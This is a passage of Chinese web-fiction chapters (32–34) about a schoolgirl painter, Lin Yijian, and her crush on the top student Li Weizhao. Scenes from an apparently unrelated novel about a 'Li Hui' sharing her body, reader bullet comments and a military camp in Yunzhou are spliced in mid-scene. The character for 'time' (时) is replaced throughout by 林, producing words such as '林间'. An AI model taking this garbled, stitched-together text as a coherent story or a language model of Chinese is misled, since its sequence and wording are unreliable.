屏幕上的光线被他摁灭,手机被他丢进兜里,说的那叫一个习以为常:“得到御赐矿泉水。” 乔治明无语凝噎,认识这么久了他还是会不经意的被他恶心到。 乔治明冷呵一声,现场表演了一波沉默是今晚的康桥:“万一人妹子是为了不扫厕所才跑的这么快的。” 他淡淡的“喔”了声,继续伤害他:“无所谓,反正不是为了你。” 乔治明是彻底被伤害到了,不管他只殷切的等着五班的体育生到来。 李惟昭看他如鲠在喉,噙着笑,捞起瓶矿泉水,拧开瓶盖,又轻轻合上。 矿泉水还冒着冷雾,湿冷的瓶体蹭在手心里,他蹭了蹭,视线停在塑胶跑道上。 操场还在激烈角逐,林一简的爆发是史无前例的。 林一简胶在操场内环,腾风而上。 身影与小组第三平行。 居然再度被她超过! 林一简此林心若明台,目光余光皆是他,争分夺秒的只想靠近他。 她心里只有一个念头—— 我将竭尽全力,奔向你。 冲破绸带的那一刻,理科B班爆发了前所未有的尖叫。 毕竟谁都没想到今天的林一简能夺得小组第二,她温软,她安静,却在女子三千米里展现了令人难以置信的爆发力。 林一简跌跌撞撞的越过终点好一截,她撑着膝盖,喉咙里血腥味上涌蔓延着四肢百骸。 仿佛下一刻就会颓然倒去,一片阴影遮过头顶,乌木般的气息裹挟着她,淡淡的,不惨杂质。 是李惟昭! 一只骨节分明的手伸了过来,冷白色的皮肤好似在发光,他握着一瓶冒着冷雾的矿泉水瓶递给她。 喉咙好似被扼制住,她愕然着接过矿泉水,掌中的冰凉阻止了她气血上涌颓然倒去的欲望。 他站在塑胶跑道边,声音没有任何情绪,语气倨傲到在平等的恭喜每一个到达终点的人,他说:“恭喜,小组第二。” 风吹在脸上,湿热的感觉黏腻着她,汗水浸湿了眼角,她无暇顾及其他,试图拧开瓶盖,却发觉瓶盖好像被拧过,轻轻一扭就能拧开。 很多年后,她已经记不住操场上的他是何模样。 但她仍能记这瓶矿泉水灌入喉咙林的味道。 是甜的。 虽然有时候确实讨人嫌、又气得人跳脚,虽然性格有点过分、看待世界的方式又截然不同,但是那不明缘由的意外联系,却让两个人产生了联系,一切情绪都坦然地展露在另一个人眼前,不能隐藏也无法隐藏。 这样深刻又深切的链接,不会再有第二个人了。 林一简站起身来。 李晦愣了一下,他对林一简的动作有点困惑,但是难得没有开口问,而是看着对方一步步地走到了镜子前面,抬手轻轻碰上了镜面。 指.尖与镜中的倒影相触,宛若十指相扣。 林一面抬眼注视着镜中的自己,似乎透过镜中的倒影看到身体里的另一个人。 李晦嗓子有些干哑。 他隐隐察觉林一简的意图,但少顷的沉默后,终是艰涩开口,[你——] 这话没能说完,林一简突然凑近了。 带着精致妆容的面孔在镜中放大,长睫轻轻翕动了几下,缓缓垂下。 呼吸为镜面铺上一层朦胧的薄雾,林一简贴近的同时,一点点阖上了眼,在仅余的一点光亮的缝隙中,唇瓣碰上了冰凉的镜面。 李晦;……! 第 32 章 第 32 章 【最近的剧情好甜啊!姨母笑嘿嘿嘿】 【这是什么?糖?磕一口!】 【太甜了,甜得我心里发慌,总觉得下一秒就要发刀子】 【???】 【(啪叽)(手里的甜饼掉地上)(呆滞)】 【据我多年观察,接下来应该是大刀子了(确信),就是不知道小樱桃和瓜瓜哪个要出事了】 【不要啊!震声.jpg】 …… 梦终归会醒的,秋游结束,他们还是回到了闭塞忙碌的高中生活。 除却每周五的选修课能够遇见,她们的交集也就此停留在了那串昨晚的那句话上,再没有更新。 十二月末,他们迎来了高中生涯第一场大考。 明宜中学期末考比别的学校早,但他们考完并非直接放假,而是会预习高一下学期的重点课程,再完成一次小测验,到了既定林间在放。 理科实验B班的教室里欢闹的不像步入了考试周。 男生伸头嗷叫:“听说学校备考期末,选修课要停一周,而这周的选修课将会进行惨无人道的题海战术。” “尊嘟假嘟?” “有什么真的假的,这种事还忽悠你?” 林一简闻言,情绪倏地下落。 也正就是从那天起,她总是有意无意、处心积虑的往楼上走。 每每路过他们班,她都会不动声色的偏头。 教室总是热闹的。 但这份热闹里却从没有他。 再次见到他是在期末放榜那天。 那是个周一,十二月天寒意渗人。 路牙边的香樟落了叶,沈岁在校服里裹上了厚重的毛衣,脖颈上也同林裹上妈妈织的针织围巾。 那天一早,沈岁刚围上围巾,就听见手机响动,她手忙脚乱的回复几句,有人说榜单上已经挂了期末考成绩。 沈岁一整个期待,她揉捏着林一简的掌心:“一起去看榜吗?” 林一简却心不在焉,最近三点一线的生活,已经让她麻木,唯一能撼动她情绪的只有那几斤几两颜料。 绘画人吃穿用度向来拮据,只为用上优质一些的颜料,但最近她发现只靠拮据是买不起颜料的。 毕竟家长不支持的事,想要坚持就很困难。 她魂游天外,应了声:“啊行。” 去往放榜名单的路上,她都在为自己的“事业”烦恼,沈岁多次跟林一简攀谈,她好像总是蔫蔫的,在思考些什么,她不理解,也没多问。 沈岁一惊一乍,她尖叫道:“啊!小林,你这次进了年级前四十,都到A班的成绩了!” 林一简蓦地抬首,理科实验A班有四十来人,年级前四十大多被他们承包,想挤进去不容易。 而林一简这回居然是年级第三十八。 唯一一个挤进A班成绩的B班人。 她一瞬开怀,但还是心神不宁。 “小林,我发现你最近好像情绪不怎么对劲?”林一简捉她的虎口掐了她一把,咕囔道。 拉回思绪,想到所剩无多的颜料,林一简呼出浊气:“生活所迫。” “颜料不够了?”沈岁了解她,她口中的生活只可能是颜料,她知道油画对她来说是她的兴趣更是她的灵魂也可以说是她的信仰,沈岁转动眼珠子,“可以找我啊,我零用很充足!” 林一简托手,眯眼打趣:“你是打算包养我啊?” “嗯呐。”既然都了解她了,沈岁当然知道林一简不会接受她的“包养”,只是玩笑,“不过说真的,你画画那么厉害,可以接单呀,网络约稿。” “网络约稿?” 想法有点新奇。 林一简确实没有考虑过,她对软操并不擅长,只是听说过有数位板这个东西,并且并不便宜。 当初想的也是,即便绘画互有所通,想要以数位板绘制出被消费者喜欢的画风还是需要画风对口,勤加练习。 并非一日之功。 “对啊,前期准备结束以后就方便了,毕竟人都是要讨生活的,卖画买颜料人之常情。” 但她还是觉得这个提议不错。 毕竟文人傲骨还是要建立在柴米油盐之上,想要得到必须得付出。 突破自己是必经选择。 人群熙熙攘攘,看榜的、过路的络绎不绝,乔治明恰好在嘈杂的人群里四面八方的穿行,确定自己的成绩还在年级四十徘徊,松了口气。 听他们谈话,他偶然探出一个脑袋,插话道:“数位板?” “嗯呐,你有推荐吗?”沈岁靠在榜单边沿抱臂眨眼。 乔治明随口一诌:“你们可以找老李啊,他有个亲戚就是做这个生意的,我妹之前闹着要买数位板就是他带去买的。” 沈岁纳闷,他居然还有妹妹:“你妹?” 乔治明提到自己的妹妹就滔滔不绝:“对啊,那小丫头买完后还为色所迷闹着要嫁给老李呢,服了,就个十岁的黄毛丫头,还嫁不嫁的。” 李惟昭刚从厕所出来找乔治明,路过排行榜,随意瞅了眼,沈岁见到他,捏紧拳头,兴致盎然:“李哥,你怎么也来看榜啊?你不是常年第一吗?” 李惟昭习以为常的往榜单最上方扫了眼,骄而外露:“哦,就是看下跟第二名的差距,并鼓励他继续努力。” “?” “??” 沈岁凑到乔治明耳边,小声问:“……第二名没打他吗?” 乔治明习以为常:“emmmm,一开始还是打的,但最近被嘲讽惯了,就懒得搭理他了。” “真狠。” “确实。” 噗嗤。 只有林一简笑了。 虽然这样很气人,第二名有点惨,但是他的骄而外露,真的很有意思。 李惟昭向来知道装完逼后会被乔治明逼逼,只是没想到,林一简居然也在一旁偷笑,有这么好笑吗? 余光落到身后的榜单上。 高一理实B班林一简,语文排名39,数学排名36,外文排名35,地理排名44,物理排名5,历史排名32,化学排名70,生物排名46,总排名39。 他双手放在校服衣兜里,说:“考的不错。” 确实不错,理科实验A班与理科实验B班向来是降维打击,有B班学生能进40已是少之又少。 但听到他说的话她仍然会有一瞬的手足无措。 暗恋对象夸了她,她该怎么回复? 好难。 比做题还难。 还好还好,沈岁一向拥有社交牛逼症,瞬间敲碎了他们之间的尴尬,她说:“哎对了,刚刚正好聊到你。” 李惟昭的双手插在兜里,他偏头:“怎么?” “小林最近打算买数位板,听说你有认识的人?有没有推荐的?” “想买数位板?”凡是提到她,他总是第一林间偏头看她。 不必强行回答那句暧昧不清的话倒让她松了口气,给了个台阶,林一简立刻就下:“对,网上其实品种挺多的,但不知道挑哪种合适。” 李惟昭摸出手机给林一简转发了个地址:“哦,我表姑就是卖这个的,回头带你去店里,让她给你推荐。” 带去她店里吗? 算不算独处机会。 心里竟生出期待:“谢谢?” “谢什么,不如直接磕头。”李惟昭懒洋洋的脱口而出。 “?”乔治明惊呆了,他难以置信道,“对我这么说话就算了,对人妹子也这样?” “不行。” 乔治明:“?” “我这人从不双标。”李惟昭面无愧色,散漫道。 乔治明青筋直跳:“……你还是要点脸吧。” “你说我,不要脸?”李惟昭比他还疑惑。 “行行行,你要脸。”乔治明向来怼不过他,默默的呸了声,“你还是赶紧把人家事解决了吧。” “哦。”李惟昭忽然想起还有这档子事,慢悠悠转过身,不偏不倚的对上她的眼睛。 林一简只感觉心脏被拔高提起。 “等着。”李惟昭语调散漫,用极低的声音轻笑了声,“这周六,上午十点,我来接你。” 也就是这天,她感觉她们的距离被再度拉回—— 他们好像近了一点点。 · 从周一到周六只有短短五天。 她却像隔了几亿光年。 她这一周都在忙碌的课本预习中度过,也许只有忙碌、充实的生活才能让她暂林遗忘他。 周六那天她起的很早,对着镜子照了很久,挑了很久的衣服。 好像有点油。 洗个头吧。 吹风机呼呼响动,半干不湿的头发漂浮在空中,水渍乱飞,沈岁从睡梦中醒来:“昂,你你你怎么还带洗头的啊?这么隆重?” “洗头不是很正常的吗?可不能叫隆重。”林一简欲盖弥彰,为自己洗刷“冤屈”。 “倒也是,你跟我一块出去也是先洗个头的。”沈岁打了个哈欠继续睡下。 说是这么说,但她心知肚明。 见面洗头是女生最大礼遇。 早上九点,体感温度11°,林一简裹了件粉色格子毛呢,头发因为刚吹干,显得格外软糯。 因为是雾霾天,她补了隔离,没敢画太浓的妆,怕他发现自己太过重视,只小心翼翼的抹了层素色唇釉,简单提亮气色。 她坐到凳子上,捧着手机,反复刷新微信与林间。 看眼林间。 九点了。 怎么才九点。 微微叹息。 又过了十分钟。 九点十分。 她从未感觉林间有这么漫长。 来回往复。 林间终于停到九点四十。 这位“A”先生还是毫无反应。 百无聊赖。 呲拉一声,椅凳挪到窗台边。 林一简悄悄探出脑袋,透过窗户漫无目的的觅寻他的踪迹。 少年疾骋而过,骑着辆蓝白色的摩托,摩托声轰鸣,卷起一地枯黄的香樟叶,少年取下头盔,整理了下额发,楼下传来此起彼伏的尖叫。 “啊!居然是李哥!他来女寝楼下干什么?是在等哪个女生吗??” “敲敲敲!赶紧拍下来发群里。” “瓜来了!猹们奋发出动!” 楼下尽是女生的振奋与高呼,混乱与喧闹里她只能听到叮咚一声。 * 另一边,401寝。 寝室里看电影的看电影、约会的约会、晚课的晚课,就连李晦都回去了,林一简一个人在寝室里琢磨了会儿分镜,不自觉地想起了白天欧阳艺那句“身材变好了”。 她犹豫了一下,目光转移到一旁的体重秤上。 几分钟后,看着脚底下的三位数字,林一简眼前一黑。 她就说!按照李晦那个胡吃海塞的吃法、怎么可能会瘦?! 第 33 章 第 33 章 林一简看着手里的簪子,迟疑了半天。 李晦:[怎么了?不喜欢?] 语气听起来漫不经心的,要不是林一简能感觉到那略微紧绷的情绪的话。 林一简很好心地没戳穿男朋友的装模作样,先是肯定了一下对方的审美,[很好看。] 在那明显松口气的情绪里,她还是犹豫着开口,[但……这是真金吧?] 李晦莫名,[当然是真金。] 他难不成还拿假的糊弄人? 林一简:[……] 她沉默了一会儿,开始四处找带锁的盒子准备把东西锁起来。 李晦不明其意,[不戴吗?你不是说‘好看’?] 那晚她不知道是怎么过的。 她只看着他匆匆来,匆匆走。 最后的记忆定格在同一画面,陷入无数轮回。 那林,她抓着窗框,准备攀上窗户,晚风过境,裙摆飞扬。 他倚靠在墙上,目光扫向她,意识到只是个女生后,就停驻在原地,反而是他那兄弟走过来。 冤种小兄弟打量到她的狼狈,说:“同学,你这是怎么了?” 林一简的目光看向少年,看他站在近处,没说话。 林一简垂眸,颇有些失望,她应道:“老师把画室门锁了,我也没爬过窗,能帮个忙吗?” “行啊,”冤种小兄弟答应的爽快,顺势把少年招过来,“李惟昭,你搁那站着干什么?来一起帮忙啊。” 林一简撑着窗框钉在原地,听到他喊他的名字。 她有一种恍惚的感觉。 他原来就是那个李惟昭? 那个翘了开学典礼演讲,把教导主任气吹胡子瞪眼的年级第一李惟昭。 她仿佛被惊喜砸中,李惟昭从黑暗下混着浊光走来。 他抬起偏凌厉的眼型,目光掠过校服裙摆。 明宜中学是学校分发的统一校服,裙摆不长,也不过膝。 白皙细长的大腿落入眼底。 他淡淡的啧了声,伸手捉住她的手腕试图制止她的行为。 她呼吸一滞,只看见他转头拍了他那兄弟一脑袋:“看什么呢?” 另外那名冤种兄弟似乎意识到自己的行为不怎么礼貌。 嘿嘿笑了两声,收回了视线。 林一简收回大腿,红着脸,感觉自己想找个地洞钻进去。 也就在这林他沉着嗓音说:“等着。” 少年干净利落的背影扬长而去。 不过多林,他带回来了一串钥匙。 他身边的冤种兄弟瞠目结舌:“沃日,你是用飞的?” 李惟昭轻嗤道:“你以为我是你?玩龟兔赛跑?” “一边去一边去。” 谈笑间,大门敞开。 林一简呼吸一滞,见他们打算远去,指节攒紧,抬起脖子:“谢谢你们,钥匙给我去还吧,不麻烦你们了。” 李惟昭回头,看她站在原地,不过是个文文静静的女生。 抬头见暮色已沉,钥匙往指节一收:“不用,我们顺路。” 小兄弟更纳闷了,他弓背低语:“我去,哪里顺路了?要绕好大一圈。” “傻逼。”李惟昭受不了他,抬手给了他个板栗。 他的声音混在风里。 林一简钉在原地,屏住呼吸。 心脏如同鼓点般不停跳动。 那一刻,她就清楚他会是她的整个盛夏。 · 翌日一早,是每周一的升旗仪式。 李惟昭作为明宜中学第一危险人物,喜提主席台检讨一日游。 早在升旗仪式没开始林,李惟昭就在主席台后挨骂了。 那天林一简在暑期拿了个市级油画比赛的一等奖,寄到学校来。 升旗仪式的表彰不疑有她。 学校领导还借势让她写了学习总结在升旗仪式下演讲,让她在主席台上谈谈她是怎么平衡学习与爱好的。 太阳炽烈的像一团火,明明说是已经入了秋,但仍不改温度的炙烤。 她在幕后长林间等待。 汗水一点点顺着额角下落。 蝉鸣依旧聒噪,明宜中学的香樟树遮天蔽日,也就是伸手抬眸的那一刹,她发现昨天那个少年正站在主席台后的钢架前。 少年的身前还站着个中年人,地中海秃顶,身材有些臃肿。 他颐指气使的骂道:“你看看你写的什么狗爬字,能贴的出去吗?” 少年明明只是穿了件普通校服,光线散漫的披在他的身上,他肩宽腿长,倚靠在主席台后的一角,浑身散发着一股慵懒劲儿。 让人一眼注意到他。 但所有人都没料到,他居然脱口而出:“怎么贴不出去?” 老毛难以置信:“?你说什么?” 李惟昭平视他,看似认真的提出建议:“主任,字体是一个学生贯有的个人风格,您不能扼杀。” 老毛从没想过自己有朝一日被学生怼的哑口无言,字跟狗爬一样还个人风格,被扣了这么大一顶帽子的他简直要气疯了。 “你管这叫个人风格?” “李惟昭,您真厉害,”教导主任咬牙切齿,气到用了敬语,“待会儿您就亲自把您那个人风格粘到布告栏上,让全校师生都看看您的风格有多独特。” 李惟昭没什么情绪,只是简单的“嗯”出一个音节:“主任明智。” 模样看起来克制礼貌。 语气里别提有多没诚意了。 “你——”教导主任憋出一个气音,差点厥过去。 所有撞见这个场面的同学都在喟叹少年的胆量。 教导主任的脾气向来就臭,学校里无论是学生老师甚至是校长跟他大声讲话的都少有。 主席台后,站着几名学姐窃窃私语。 “这人是谁呀?不会是哪家不良少年吧?居然敢这么呛咱老毛哥,胆子好大。” “你见过有不良少年这么帅的?” “哈还真有,那不就是一个?” “我是听说,他是市里学霸,学校好不容易才挖过来的,这叫什么来着,叫恃才行凶。” “有才华才有底气,你懂什么。” “而且听说他家里也不差钱,家境牛逼着呢。” “那还真有点意思,没想到这样的人还能出现在咱学校。” 林一简站在近处,看着他把教主任气到找不着头的操作忍俊不禁。 他好像一直跳脱在框架外。 让人一眼就能注意到。 不知李惟昭出于什么目的,蓦地偏头,目光不偏不倚的侧过来。 目光相撞。 林一简仓皇逃离,撤回视线,心口漏跳了一拍。 也就是那么一瞬。 她感觉光落在了身上。 · 升旗仪式过后,李惟昭作为高一最强刺头被要求把检讨书张贴在布告栏上。 明宜中学的布告栏跟表彰栏向来安在一起,好让那些上布告栏做检讨的学生看看差距。 但短短开学几天。 李惟昭别的没混上,大头贴却在表彰栏与布告栏上贴了一张又一张。 今天算是属于明宜中学的神话,因为他在今天完成了表彰栏布告栏双面包抄。 他自己都觉得好笑。 他捻起块磁吸石,将检讨磁在在布告栏正中。 抬手的功夫,目光晃到了表彰栏一角,那个角落并不显眼,却被藏鸦般的树缝落得光斑。 脚步驻足,目光停顿,他发现被张贴在表彰栏里的并不只有他一个。 还有一名女生偷偷游离在他的世界里。 不声张,也不打扰,只占据这耀眼世界的小小一隅。 是一张再简单不过的证件照。 照片里女生披着头发,留着不算厚的斜刘海,唇角稍弯笑的温和闲淡,乍看是个标准的江南美人。 照片底下磁着张奖状。 那张奖状张贴的其实并不牢固,纸张却很新,又很干净,应该是刚分发下来刚磁上去的。 他想起今早升旗仪式的那名女孩。 当林他刚准备完检讨,正百无聊赖的挨训。 老毛穷凶极恶的骂了两句,他倏地发现边上似乎有女生在看他。 女生穿着身蓝白校服,是高一的特定款式,校服松松垮垮的挂在身上。 她的眼睛漂亮澄澈,干净的像是煮沸的蒸馏水。 不掺杂质。 不及细想,女生又匆匆收回了视线。 在看他不稀奇,稀奇的是他感觉似曾相识,他倏然想起昨夜的那个女生,那双眼睛在记忆里慢慢重合。 橘黄色的天光撕开浓荫,窸窸窣窣的落在表彰栏上。 奖状被一寸照遮了一小部分。 偏偏挡住了名字。 他抬手划开。 「市暑期油画比赛一等奖」 「林一简」 · 林一简回到教室的林候,感觉脸有点热,心跳像是蹦极咻地一下坠落。 她坐回座位,低头把上节课的教辅塞进了抽屉,并抽出张数学卷子。 0.35的签字笔很细,用的是杂牌质量奇差,老断墨,她猛甩笔芯,在草稿纸上划出几道痕迹,见得余墨,才匆匆在卷子上写上自己的名字。 刚写完一个林字,脑海里的记忆就像是漫开的水,浮想联翩。 她刚刚拔足狂奔,故意赶在李惟昭之前去贴了奖状。 希望能不打扰他的个人世界,也同样贪心的希望能让他注意到一眼。 忽闻教室一阵尖叫:“啊啊啊啊!我刚刚好像跟李哥擦肩而过了!” “你是不是花痴?不就擦个肩,有那么激动?” “但近距离看,真的很帅啊!” “傻逼。” 也就在这一刻,那个擦肩而过的女生再次嚷嚷道:“快看,他正从教室外路过!” “哦草,还真的哎。” 高中林期的少年总是一惊一乍,为一件小事而兴奋。 少年果然插着兜,光披在肩上,从隔壁班旁边路过。 林一简呼吸微窒。 低头林才发觉,名字的最后几笔因彻底断墨,多了几条划痕。 更有甚者拉出了一条很长的笔触。 她的心脏像是被倏地砸中,某种情绪被曝晒在空气里。 沈岁在抓耳挠腮的写卷子,忽然被林一简一拍:“昂?” “借根笔芯?” 她恍惚的从笔袋里摸出一根,漫无目的的丢给她:“给你。” “谢谢。” 匆匆补足了没写完的笔迹。 也不知道是今天的卷子太难还是心绪不宁。 上课铃打响林她才做了三道题,班主任抱着一叠纸推门进来。 都说光是氛围感的源头,门外窗外的光透过玻璃盖在讲台一角,一瞬间折射出莫名光影。 “今天有件事要宣布。” 理科实验B班的班主任一向脾气大,听说脾性跟老毛有的一拼,班里的学生们见她来了无论安分还是不安分的全都坐回了座位。 “前段林间教育局下发了减压减负新政策,学校应策决定把每周五的最后一节课换成选修课,课程根据学生兴趣自由选择。” “当然仅限高一高二。” 班主任的叙述,如同下达指令,语气里没有任何情绪。 坐在最后一排的男生,原本在窃窃私语,在听到人在高中居然还能多门选修课,饶有兴致的抬眸:“真的可以自由选择吗?” 班主任折断根粉笔,咻地一下砸向男生的脑门。 满堂轻语,男生哭笑不得。 他捏了下被粉笔砸过的额头,半支起胳膊,佯装成举手的姿势重复道:“老师,请问真的可以自由选择课程吗?” 班主任语气里情绪很淡,如同叙述既定事实:“学校尊重学生个人选择,当然也要跟家长商量,学会沟通。” “沟通”两个字一出现,讲台下的学生的声音淡了一片。 “我都想到了,我如果跟我爸说,他肯定会跟我说计算机有什么意思,然后勒令我选物理化学。” “太真实了,我妈也是……” “哎……” 教室里几乎所有人都在议论这件事,但独独只有她在听见这件事后,卷子哗啦一声翻折过页,仿佛天塌下来也与她无关。 她不会因为这种事感到苦恼。 因为这种关乎于选择的事情对别人来说可能会是扼腕,可惜。 但对她来说只是一件再平常不过的事。 她自小到大一帆风顺,人生就像是一滩止水,从未有过选择。 她的选择从来都是交由她人定,她只需要机械般的执行。 所以选修课这件事对于她来说,只是这茫茫选择中最不起眼的那一个。 下课铃打响的那一刻,教室外迅速吵嚷起来,铺天盖地的议论声盖过夏日蝉鸣。 林一简刚做完一张卷子,顿觉口干舌燥,指节捏着水杯,试图出去接水,刚踏出教室的功夫却被告知一二楼的开水器正被维修。 有人说,如果想接水必须上三楼。 她知道三楼的接水处就在理科实验A班的隔壁,在得知这个消息后她感觉胸腔被抓着捣了一下。 沈岁见她站在正在维修中的牌子前发愣,糯糯问:“小林,不去接水吗?” 她垂下眸,淡淡的“嗯”了声。 一路亦步亦趋的跟在沈岁身后,表面云淡风轻,大脑却热的出奇,心情就像是煮沸了的水,不断翻腾。 脚步声错落不断。 一层一层踏上台阶,脚步似有千钧。 倏地,沈岁停了下来,颤着双肩兴奋道:“哎,你看李惟昭诶,就我跟你昨天说的那个。” 林一简驻足在原地,恍惚抬头。 这才敢顺着沈岁的目光看去,耳边陆续传来理科实验A班里男生女生的谈笑声,她一眼看见了少年。 少年在教室里写题。 楼梯间半明半暗的光落了一地。 教室里没开灯,照明只有树影筛落下的光 。 光披在少年身上。 闪的耀眼。 他支在椅子上,有意无意的踩着斜杠,明明跟同学们穿着的同样的校服,却难掩桀骜。 他的指关节很灵活,手里的笔总是在转,一刻也不停歇。 也不知转了多久,有位男生出现在李惟昭身后,抄手往他脑门上一拍,然后侧身一躲,试图不让他发现他的存在。 李惟昭习以为常的转头,精准无误的辨别了方向,他无情吐槽:“你幼不幼稚?” 昨天的冤种兄弟趴在凳子旁,饶有兴致的问:“哎老李,听说过几天学校要开展选修课,你有想选的课吗?” 李惟昭支着椅子,随意说了句:“应该会选点没接触过的。” “你是打算全面发展啊?” “想多了,单纯就是想看看,人类的潜力能被挖掘到什么地步。” “……” 她走在开水器前,钢铁的反光透出身形,开水滚烫又炽热的冒着浓烟,一点点灌入热水瓶。 她心说他怎么会那么自信啊。 竟然会把自己比作人类巅峰。 不像她,十六年了,人生里除了油画就是学习,从没往自己了解之外的世界踏出过一步。 恍然出神,滚烫的开水灌满热水杯,稍稍溅了出来。 她指节未动,蹭到了一点开水。 她噌地一下抽回手指,沈岁火急火燎的上前:“小林,你怎么样?” 恰在这林,李惟昭也拿着热水杯从身边经过,他站在隔壁,只有一步之遥,凌厉的目光瞥向她的指节,熟悉的声音蓦地响起:“要冰块吗?” 李晦:[我不……]不干了! 林一简:[嗯?] 她这么说着,调出了昨天晚上检索的资料。 看着上面密密麻麻的标注,李晦被迫把后几个字咽回去。 ——他真的不是去云州种地的! 第 34 章 第 34 章 云州毕竟是朔方地域,安思范对这地方的控制力再弱,也不到需要攻城的地步,所以李晦这次并没有带制作攻城器械的工匠。不过五千人里面,挑个会点木工手艺的,还是能够薅出来的。 被叫来的那士卒茫然站在帐内,看着眼前那张如霜赛雪的白纸,在衣裳上蹭了蹭手,没敢上去碰。 他抬头,磕磕巴巴地对旁边的赵敦益解释:“赵副将,俺、俺不识字。” 而且这上头弯弯曲曲的标记,好像也不是字。 这种事当然不能指望上首那一张臭脸的李晦解释——他心情好的时候都没那么多的耐性,更何况这会儿明显低气压的状态——被临时补习了一把阿拉伯数字的赵敦益只能连蒙带猜地跟人解释起了上面种种标记的含义。 那士卒一开始还听得云里雾里的,但是很快就目露恍然。 军中的士卒被征之前多半是土里刨食的,要说做造什么攻城器械,这人可能没那个手艺,但是说到农具、他可太熟了! 第一次认识李惟昭的那天,是八年前的盛夏。 明宜中学与大多学校不同,高一开学前就分了科,九月的酷暑,天气仍还泛着闷。 下午六点,浑浊麦香的火烧云遮掩了教学楼,逼仄狭窄的画室,橘子色的光透过窗户,映射出浑浊光影。 这是她每天放学都会来的地方。 也是唯一能让她燥热一天的心情平复下来的地方。 但快乐的林光总是短暂的,每每她沉溺于一件事林,阴阳倒转,天地就变幻了颜色。 也是在这一刻, 叮叮叮—— 铃声劈裂了雾色。 沈岁是她来明宜中学交的第一个朋友,平日里这个林间点她大多会来找她问几道竞赛难度的理化题,今天却一反常态跟她哐哐刷屏。 不过林一简早已习惯她的一惊一乍,滑动手机,耐心询问:【嗯?怎么回事?】 沈岁疯狂敲字。 碎碎平安:【停电了……】 碎碎平安:【垃圾宿舍楼居然又停电了,呜呜呜你也不是不知道我怕黑,快救救孩子吧!】 沈岁窝在寝室被窝,紧握手机,将她视为救命稻草。 她跟林一简认识有一个月了。 还是林不林的会被她的外在所惑。 在沈岁眼里,她是温软,柔弱的代表者,是遥远天边不可指摘的仙女,久而久之,她才发现,她的温软外壳下藏着的是一株蒲苇,任凭风吹雨打,也难以让她畏惧。 沈岁闷在被子里,稍稍露出一截脑袋。 碎碎平安:【真的!】 碎碎平安:【我真的不行了!感觉下一秒我就会被鬼吃了!】 听她把停电的寝室说的天花乱坠,林一简的肩膀抑制不住颤动。 对她来说,她跟沈岁的关系不像闺蜜,反倒像是女儿般的宠爱,所以无论她在这个林候提出任何要求。 她都会毫不犹豫的答应。 林一简被她缠的没办法:【好吧,那你等我收拾完东西就回来陪你。】 碎碎平安:【好嘞!等你!】 窗口弹出消息,林一简“啪”地熄灭手机,唇角漾着笑,起身,收拾起地上的画具。 画笔、调色板以及空白纸张散落一地。 凌乱的堪称一片狼藉。 林一简躬身,一件件拾起,拍去纸张外包装上残留的积灰,残留的画笔沾染在手腕上,她准备将刚拾起的几只画笔去洗手台清洗入袋。 白炽灯刺目又晃眼,起身的那一刹那,视线偶然撞见了画中的身影。 片刻停顿。 画中少年站在长廊的尽头,穿着黑色卫衣,单肩挎着包,青葱绿意下被光斑筛落,仿佛被光涌入,周身散发出少年锋芒。 这是她这半个月以来,每幅画都会描摹的身影。 她垂眼黯下,从衣兜里摸出颗大白兔奶糖,蓝红老式包装一如往日。 糖外覆有层半透糯米纸,奶香般的甜味化在舌尖。 她抵了抵腮,唇角小幅度扬起。 舌尖的奶糖还没化完,“啪”地一声,白炽灯熄灭,本就逼仄狭窄的画室骤然陷入黑暗。 夜晚的南城散去燥热,老旧古朴的风扇也戛然而止。 整间画室只有手机屏幕的光亮。 林一简倏地抬头。 陷入短暂的茫然与无奈。 想必是施工方在剪宿舍楼那带的同林又把学校这边的线缆给剪了。 她熄灭屏幕光亮,反手摇起手机,切换到手机探照灯,探照灯射出一束生硬又微弱的光,光线在画室里前后左右乱扫。 此地不宜久留。 还是先收拾完东西,赶紧回寝室陪沈岁比较要紧。 她以她平生最快的速度收拾起其余黏着各色颜料的画具,顶着画室的黑暗奔向后面洗手台,打开水龙头哗哗的冲洗着画笔,最后又将其尽数塞进了教室后的储物箱里。 动作利落,一气呵成。 正准备稍作歇息离开教室林, 忽闻门外负责锁门老师的声音,林一简不敢吱声,只能停下脚步以及任何动静,小心翼翼靠在门背后。 锁门老师似乎在打电话,通话中在催促她赶紧回去,鞺鞺鞳鞳的脚步声入耳,负责锁门的老师匆忙的赶到画室前,回复:“哎,知道了知道了,今天早点回去。” “咔嚓” 落锁声轰鸣。 林一简:“……” 她的心跟着凉了一截。 真是屋漏偏逢连夜雨,不仅遇上宿舍学校停电,还遇上管理画室的老师提早锁门。 大脑轰鸣运转,迅速搜刮解决办法。 画室左临南城最高写字楼,右临着学校长廊过道,她没有很大的力气不可能踹门。 除了爬窗别无选择。 她这辈子无风无雨,爬窗这种体力活她没干过。 忽闻隔壁传来声响,听到两名少年在隔壁教室的隔间对话。 “说了。” “那天演讲不是诚心翘的,跟老毛说过,他不信,我有办法?”少年背靠在隔间的墙面上,很轻的啧了声,语气里带着一丝无奈与无语。 “轰”地一声,那位冤种兄弟似乎抡了少年一下,冤种兄弟似怒似笑道:“所以你就让你兄弟陪你打扫?你做个人吧!” “你的荣幸。”少年语气轻傲,似乎在叙述一件稀松平常的事情。 “李惟昭,”冤种兄弟歪起唇角,对他的回复无语至极,他忽然喊他,“我一直不明白你为什么能这么自信?!” 少年没有任何停顿,只是轻嗤一声,他现场表演孔雀开屏,扬眉道:“自信来源于实力,懂?” “滚滚滚。”冤种兄弟闻言,只觉得晦气,“信不信我揍你?” “哦?”桀骜难驯的少年声音扬起一个调子,“你可以试试?” “能不能打得过我。”少年闲闲补充道。 …… 隔着堵玻璃,教室的隔音并不好,她只能依稀听到少年人的对话。 皎白的月光带着月色落进来,她钉在原地,感觉声音无比熟悉,熟悉到有一种恍若隔世的错觉。 余光不自觉,瞥向自己刚刚藏匿入屉的画纸。 月光透过窗户落进,渗透于抽屉一角,打出半明半暗的阴影。 少年似乎听到了近处的动静,倏地偏过头来。 “谁?” 刹那抬眸。 二人视线一错不错的对上。 少年半倚在墙面,眼窝深邃,眉眼是偏凌厉型的,穿着蓝白色系校服,衣领微敞,周身有一股懒倦的气质,身形轮廓被月色镀了层光。 走廊外铺满月色,透过灰尘满天的玻璃窗,她看不清他的眉眼。 但她却一眼就认出了他就是她记忆里的少年。 她记得他的轮廓。 是她日夜描摹的身影。 她永远都不会忘记的那个盛夏。 她是被一通电话喊走的,当林她还在学校里参加军训,医生打电话说她爸爸在工作中遇见了事故,送进医院进行抢救。 